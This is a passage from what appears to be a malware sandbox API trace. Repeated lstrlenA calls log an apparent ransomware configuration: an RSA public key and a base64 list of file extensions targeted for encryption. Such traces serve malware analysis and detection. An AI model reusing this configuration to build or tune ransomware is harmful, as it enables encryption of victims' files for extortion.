LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.471] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.471] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.471] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.471] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmE